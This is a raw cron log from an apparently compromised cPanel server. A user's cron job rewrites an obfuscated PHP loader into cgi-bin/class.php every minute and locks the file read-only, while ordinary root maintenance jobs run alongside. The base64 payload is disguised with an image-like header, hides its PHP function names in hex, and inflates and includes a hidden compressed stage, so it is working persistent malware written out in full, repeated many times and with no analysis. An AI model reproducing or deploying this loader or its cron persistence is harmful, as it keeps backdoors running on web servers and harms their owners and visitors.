Nov 13 05:51:01 server CROND[25077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:52:01 server CROND[25874]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload &gt; /dev/null 2&gt;&amp;1)
Nov 13 05:52:01 server CROND[25876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:53:01 server CROND[26938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:54:01 server CROND[27821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:55:01 server CROND[28689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:55:01 server CROND[28690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:55:01 server CROND[28691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:56:01 server CROND[29458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:57:01 server CROND[30413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:57:01 server CROND[30414]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 05:58:01 server CROND[31505]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:59:01 server CROND[32414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:00:01 server CROND[846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:00:01 server CROND[848]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 06:00:01 server CROND[851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 06:00:01 server CROND[852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:00:01 server CROND[853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:00:01 server CROND[856]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb &gt; /dev/null 2&gt;&amp;1)
Nov 13 06:01:01 server CROND[1793]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 06:01:01 server CROND[1794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:01:01 server run-parts(/etc/cron.hourly)[1793]: starting 0anacron
Nov 13 06:01:01 server run-parts(/etc/cron.hourly)[1806]: finished 0anacron
Nov 13 06:02:01 server CROND[2663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:03:01 server CROND[3600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
